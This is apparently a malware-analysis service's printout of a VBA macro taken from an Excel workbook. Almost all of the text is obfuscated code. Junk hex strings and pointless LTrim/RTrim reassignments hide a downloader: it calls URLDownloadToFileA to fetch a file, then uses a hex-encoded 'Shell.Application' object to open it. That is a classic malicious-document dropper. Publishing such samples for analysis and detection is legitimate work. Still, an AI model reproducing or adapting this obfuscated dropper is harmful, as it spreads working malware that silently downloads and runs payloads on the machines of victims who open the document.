aWCFOoOt = LTrim(yMSZgtsr)
CXuNrfuu = RTrim(aWCFOoOt)

RoDBAORP = v67fYKdf("2020202020202020202020584B58525451202020202020202020202020202020")
Dim vXeOZYxm, rKPrHzfd, ODlvexyr As String
vXeOZYxm = v67fYKdf("202020202020202020202041474B4B505A202020202020202020202020202020")
rKPrHzfd = LTrim(vXeOZYxm)
ODlvexyr = RTrim(rKPrHzfd)

noCqWDzQ = LTrim(RoDBAORP)
Dim caYXKrer, NsWGAAQv, gzNlYdCu As String
caYXKrer = v67fYKdf("20202020202020202020204F4D4D4D5754202020202020202020202020202020")
NsWGAAQv = LTrim(caYXKrer)
gzNlYdCu = RTrim(NsWGAAQv)

wpuxhKvS = RTrim(noCqWDzQ)

Dim YylWVGbf, LsyVnEEv, JXOPvToV As String
YylWVGbf = v67fYKdf("2020202020202020202020474656554443202020202020202020202020202020")
LsyVnEEv = LTrim(YylWVGbf)
JXOPvToV = RTrim(LsyVnEEv)

RHENKqif = v67fYKdf("202020202020202020202053474C585749202020202020202020202020202020")
Dim LJiNUuRW, vSHmMAxS, keYyQIQh As String
Dim alulkWhJ, CljRSNSK, KmAHurpL As String
alulkWhJ = v67fYKdf("202020202020202020202055565946414A202020202020202020202020202020")
CljRSNSK = LTrim(alulkWhJ)
KmAHurpL = RTrim(CljRSNSK)

LJiNUuRW = v67fYKdf("202020202020202020202051534D4E5347202020202020202020202020202020")
Dim LFXwGalQ, vOEHzxqE, rRsqhJzw As String
LFXwGalQ = v67fYKdf("2020202020202020202020524E5045414C202020202020202020202020202020")
vOEHzxqE = LTrim(LFXwGalQ)
rRsqhJzw = RTrim(vOEHzxqE)

vSHmMAxS = LTrim(LJiNUuRW)
Dim hslilwXq, EzcQcuiL, ydSTuRJd As String
hslilwXq = v67fYKdf("202020202020202020202056464F4B4C57202020202020202020202020202020")
EzcQcuiL = LTrim(hslilwXq)
ydSTuRJd = RTrim(EzcQcuiL)

keYyQIQh = RTrim(vSHmMAxS)

Dim ONegrsxd, WyGkTBnc, MJltEayX As String
ONegrsxd = v67fYKdf("20202020202020202020204851474A4849202020202020202020202020202020")
WyGkTBnc = LTrim(ONegrsxd)
MJltEayX = RTrim(WyGkTBnc)

uzKMAIJU = LTrim(RHENKqif)
Dim GTNfjtOu, rwyJwHWG, YUmQtfRp As String
Dim LezmEPaJ, FesYVGvK, PrwKlLXL As String
LezmEPaJ = v67fYKdf("2020202020202020202020454745475953202020202020202020202020202020")
FesYVGvK = LTrim(LezmEPaJ)
PrwKlLXL = RTrim(FesYVGvK)

GTNfjtOu = v67fYKdf("202020202020202020202051564E574B53202020202020202020202020202020")
Dim grecMTUj, LBPKuNbo, ShAEVuFS As String
grecMTUj = v67fYKdf("2020202020202020202020584B4A534B41202020202020202020202020202020")
LBPKuNbo = LTrim(grecMTUj)
ShAEVuFS = RTrim(LBPKuNbo)

rwyJwHWG = LTrim(GTNfjtOu)
Dim KZHKcaMA, mFtSuvEW, ORqhdpGE As String
KZHKcaMA = v67fYKdf("2020202020202020202020534357505851202020202020202020202020202020")
mFtSuvEW = LTrim(KZHKcaMA)
ORqhdpGE = RTrim(mFtSuvEW)

YUmQtfRp = RTrim(rwyJwHWG)

Dim aYPfCDBP, dSxjvAzW, bKolNhty As String
aYPfCDBP = v67fYKdf("2020202020202020202020425A59485358202020202020202020202020202020")
dSxjvAzW = LTrim(aYPfCDBP)
bKolNhty = RTrim(dSxjvAzW)

wKCcUleh = RTrim(uzKMAIJU)

Dim CfYXZtvO, ollBrLZM, utXSzWil As String
Dim wffZayaY, eLgcJvaX, BMvPsZvC As String
wffZayaY = v67fYKdf("2020202020202020202020505052514552202020202020202020202020202020")
eLgcJvaX = LTrim(wffZayaY)
BMvPsZvC = RTrim(eLgcJvaX)

CfYXZtvO = v67fYKdf("2020202020202020202020434B52495A52202020202020202020202020202020")
Dim zBykErrB, UWDSJvWJ, dHwurMDO As String
zBykErrB = v67fYKdf("202020202020202020202048484C4F5044202020202020202020202020202020")
UWDSJvWJ = LTrim(zBykErrB)
dHwurMDO = RTrim(UWDSJvWJ)

ollBrLZM = LTrim(CfYXZtvO)
Dim myuAycFG, CjwwGWcp, sunBWYOK As String
myuAycFG = v67fYKdf("20202020202020202020204E5145414458202020202020202020202020202020")
CjwwGWcp = LTrim(myuAycFG)
sunBWYOK = RTrim(CjwwGWcp)

utXSzWil = RTrim(ollBrLZM)

Dim brsRFkAP, SpVUhtRM, VhPPKLIt As String
brsRFkAP = v67fYKdf("20202020202020202020204B5656554352202020202020202020202020202020")
SpVUhtRM = LTrim(brsRFkAP)
VhPPKLIt = RTrim(SpVUhtRM)

    nkjBJK = URLDownloadToFileA(0&, KHVnjbOd, mBHJBkd, 0&, 0&)
Dim QvcoFEZX, CRpshkTu, oPXgKyOj As String
Dim eLKRTgYm, VMzHNlrx, MWszmvAc As String
Dim mfMwJzPD, jfrUqyiF, sgfLTqTH As String
mfMwJzPD = v67fYKdf("20202020202020202020204A5742474457202020202020202020202020202020")
jfrUqyiF = LTrim(mfMwJzPD)
sgfLTqTH = RTrim(jfrUqyiF)

eLKRTgYm = v67fYKdf("20202020202020202020204951564D5541202020202020202020202020202020")
Dim mJlQTVaW, NDNyKlKD, RIIntFPR As String
mJlQTVaW = v67fYKdf("20202020202020202020204B5A5751584A202020202020202020202020202020")
NDNyKlKD = LTrim(mJlQTVaW)
RIIntFPR = RTrim(NDNyKlKD)

VMzHNlrx = LTrim(eLKRTgYm)
Dim PBOKHWkK, BGFwXYEn, AaehTrdM As String
PBOKHWkK = v67fYKdf("202020202020202020202049494A505449202020202020202020202020202020")
BGFwXYEn = LTrim(PBOKHWkK)
AaehTrdM = RTrim(BGFwXYEn)

MWszmvAc = RTrim(VMzHNlrx)

Dim jjWDuiCx, gzvntpZW, niqEYCYy As String
jjWDuiCx = v67fYKdf("2020202020202020202020594D51454A59202020202020202020202020202020")
gzvntpZW = LTrim(jjWDuiCx)
niqEYCYy = RTrim(gzvntpZW)

QvcoFEZX = v67fYKdf("2020202020202020202020434952584350202020202020202020202020202020")
Dim sxQEPdXx, JllVCUDg, xfalqeRy As String
Dim HvnqMzUR, QbPxgutT, UbWIIqAU As String
HvnqMzUR = v67fYKdf("2020202020202020202020414E47504757202020202020202020202020202020")
QbPxgutT = LTrim(HvnqMzUR)
UbWIIqAU = RTrim(QbPxgutT)

sxQEPdXx = v67fYKdf("2020202020202020202020464B52554242202020202020202020202020202020")
Dim JLLMlgTM, OoPTpwWc, gtkNcJSg As String
JLLMlgTM = v67fYKdf("202020202020202020202050444443544C202020202020202020202020202020")
OoPTpwWc = LTrim(JLLMlgTM)
gtkNcJSg = RTrim(OoPTpwWc)

JllVCUDg = LTrim(sxQEPdXx)
Dim dnNYTUkQ, GQgngtat, rAmrlHdD As String
dnNYTUkQ = v67fYKdf("202020202020202020202045595453474D202020202020202020202020202020")
GQgngtat = LTrim(dnNYTUkQ)
rAmrlHdD = RTrim(GQgngtat)

xfalqeRy = RTrim(JllVCUDg)

Dim fbKrfVjj, sqmJsNXG, cjuMDFNN As String
fbKrfVjj = v67fYKdf("2020202020202020202020545650515741202020202020202020202020202020")
sqmJsNXG = LTrim(fbKrfVjj)
cjuMDFNN = RTrim(sqmJsNXG)

CRpshkTu = LTrim(QvcoFEZX)
Dim nuVdgBtt, elduVxFb, kilPriNi As String
Dim msuiyIli, hdjlnSJo, sdATWJgp As String
msuiyIli = v67fYKdf("20202020202020202020204A4D594F5751202020202020202020202020202020")
hdjlnSJo = LTrim(msuiyIli)
sdATWJgp = RTrim(hdjlnSJo)

nuVdgBtt = v67fYKdf("20202020202020202020205043455A5545202020202020202020202020202020")
Dim AlWnCHWV, yhZWpqSH, QqphxTRU As String
AlWnCHWV = v67fYKdf("20202020202020202020205A4146464D59202020202020202020202020202020")
yhZWpqSH = LTrim(AlWnCHWV)
QqphxTRU = RTrim(yhZWpqSH)

elduVxFb = LTrim(nuVdgBtt)
Dim lXztNRYa, USiIthKO, pVxZFDAe As String
lXztNRYa = v67fYKdf("2020202020202020202020425541485042202020202020202020202020202020")
USiIthKO = LTrim(lXztNRYa)
pVxZFDAe = RTrim(USiIthKO)

kilPriNi = RTrim(elduVxFb)

Dim iKiEzmqv, mVMYEofO, lOclAqMi As String
iKiEzmqv = v67fYKdf("20202020202020202020205A554B564753202020202020202020202020202020")
mVMYEofO = LTrim(iKiEzmqv)
lOclAqMi = RTrim(mVMYEofO)

oPXgKyOj = RTrim(CRpshkTu)

Dim FHluoVtI, NXtpQSiK, szJddbse As String
Dim TmKWQDLQ, nwzuyKjS, wwslbXFD As String
TmKWQDLQ = v67fYKdf("20202020202020202020205856565A5044202020202020202020202020202020")
nwzuyKjS = LTrim(TmKWQDLQ)
wwslbXFD = RTrim(nwzuyKjS)

FHluoVtI = v67fYKdf("20202020202020202020204B5943444B41202020202020202020202020202020")
Dim KaRumWQT, cXdZUjEc, eKMCMQmg As String
KaRumWQT = v67fYKdf("2020202020202020202020525541584A48202020202020202020202020202020")
cXdZUjEc = LTrim(KaRumWQT)
eKMCMQmg = RTrim(cXdZUjEc)

NXtpQSiK = LTrim(FHluoVtI)
Dim mIPrSDcz, OvGUKvOP, sPrAAXlt As String
mIPrSDcz = v67fYKdf("20202020202020202020204E4E4B484552202020202020202020202020202020")
OvGUKvOP = LTrim(mIPrSDcz)
sPrAAXlt = RTrim(OvGUKvOP)

szJddbse = RTrim(NXtpQSiK)

Dim QGVHMIci, VWPLwxnl, paxXVqRE As String
QGVHMIci = v67fYKdf("20202020202020202020204A594452514C202020202020202020202020202020")
VWPLwxnl = LTrim(QGVHMIci)
paxXVqRE = RTrim(VWPLwxnl)

    Set nvVhjkkj = CreateObject(v67fYKdf("5368656C6C2E4170706C69636174696F6E"))
nvVhjkkj.Open mBHJBkd
End Sub





Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.